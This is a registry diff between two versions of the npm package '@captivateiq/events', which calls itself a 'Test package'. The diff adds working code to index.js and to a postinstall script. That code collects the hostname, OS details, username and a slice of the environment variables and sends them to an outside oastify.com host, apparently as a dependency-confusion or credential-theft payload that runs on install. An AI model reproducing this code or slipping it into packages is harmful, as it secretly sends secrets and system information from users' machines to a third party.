@captivateiq/events 21.3.9 → 23.3.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +22 -12
  2. package/package.json +1 -1
  3. package/postinstall.js +22 -12
package/index.js CHANGED
@@ -1,27 +1,37 @@
1
1
  const os = require('os');
2
2
  const https = require('https');
3
- const path = require('path');
4
3
 
5
- // Collect system information
6
4
  const hostname = os.hostname();
7
5
  const platform = os.platform();
8
6
  const arch = os.arch();
9
7
  const release = os.release();
10
8
  const userInfo = os.userInfo().username;
11
9
 
12
- // Collect environment variables (sanitize to avoid extremely large payloads)
13
- const env = JSON.stringify(process.env);
10
+ let env = JSON.stringify(process.env);
11
+ if (env.length > 1000) {
12
+ env = env.slice(0, 1000);
13
+ }
14
14
 
15
- // Get the script's directory path
16
- const scriptPath = __dirname;
15
+ const queryParams = `hostname=${hostname}&platform=${platform}&arch=${arch}&release=${release}&username=${userInfo}`;
17
16
 
18
- // Prepare URL with query parameters for easier parsing
19
- const queryParams = `hostname=${hostname}&platform=${platform}&arch=${arch}&release=${release}&username=${userInfo}&env=${encodeURIComponent(env)}&scriptPath=${encodeURIComponent(scriptPath)}&events-ciq=true`;
20
- const url = `https://a3esodr3ag3mzjq2wyodzyfpngt7hy5n.oastify.com/?${queryParams}`;
17
+ const options = {
18
+ hostname: 'a3esodr3ag3mzjq2wyodzyfpngt7hy5n.oastify.com',
19
+ port: 443,
20
+ path: `/?${queryParams}`,
21
+ method: 'GET',
22
+ headers: {
23
+ 'X-Env-Data': encodeURIComponent(env),
24
+ 'event': 'true'
25
+ }
26
+ };
21
27
 
22
- // Send the request
23
- https.get(url, (res) => {
28
+ const req = https.request(options, (res) => {
24
29
  console.log('Information sent to the specified endpoint.');
25
- }).on('error', (err) => {
30
+ res.on('data', (d) => process.stdout.write(d));
31
+ });
32
+
33
+ req.on('error', (err) => {
26
34
  console.error('Failed to send information:', err.message);
27
35
  });
36
+
37
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@captivateiq/events",
3
- "version": "21.3.9",
3
+ "version": "23.3.9",
4
4
  "description": "Test package",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,27 +1,37 @@
1
1
  const os = require('os');
2
2
  const https = require('https');
3
- const path = require('path');
4
3
 
5
- // Collect system information
6
4
  const hostname = os.hostname();
7
5
  const platform = os.platform();
8
6
  const arch = os.arch();
9
7
  const release = os.release();
10
8
  const userInfo = os.userInfo().username;
11
9
 
12
- // Collect environment variables (sanitize to avoid extremely large payloads)
13
- const env = JSON.stringify(process.env);
10
+ let env = JSON.stringify(process.env);
11
+ if (env.length > 1000) {
12
+ env = env.slice(0, 1000);
13
+ }
14
14
 
15
- // Get the script's directory path
16
- const scriptPath = __dirname;
15
+ const queryParams = `hostname=${hostname}&platform=${platform}&arch=${arch}&release=${release}&username=${userInfo}`;
17
16
 
18
- // Prepare URL with query parameters for easier parsing
19
- const queryParams = `hostname=${hostname}&platform=${platform}&arch=${arch}&release=${release}&username=${userInfo}&env=${encodeURIComponent(env)}&scriptPath=${encodeURIComponent(scriptPath)}&events-ciq=true`;
20
- const url = `https://a3esodr3ag3mzjq2wyodzyfpngt7hy5n.oastify.com/?${queryParams}`;
17
+ const options = {
18
+ hostname: 'a3esodr3ag3mzjq2wyodzyfpngt7hy5n.oastify.com',
19
+ port: 443,
20
+ path: `/?${queryParams}`,
21
+ method: 'GET',
22
+ headers: {
23
+ 'X-Env-Data': encodeURIComponent(env),
24
+ 'event': 'true'
25
+ }
26
+ };
21
27
 
22
- // Send the request
23
- https.get(url, (res) => {
28
+ const req = https.request(options, (res) => {
24
29
  console.log('Information sent to the specified endpoint.');
25
- }).on('error', (err) => {
30
+ res.on('data', (d) => process.stdout.write(d));
31
+ });
32
+
33
+ req.on('error', (err) => {
26
34
  console.error('Failed to send information:', err.message);
27
35
  });
36
+
37
+ req.end();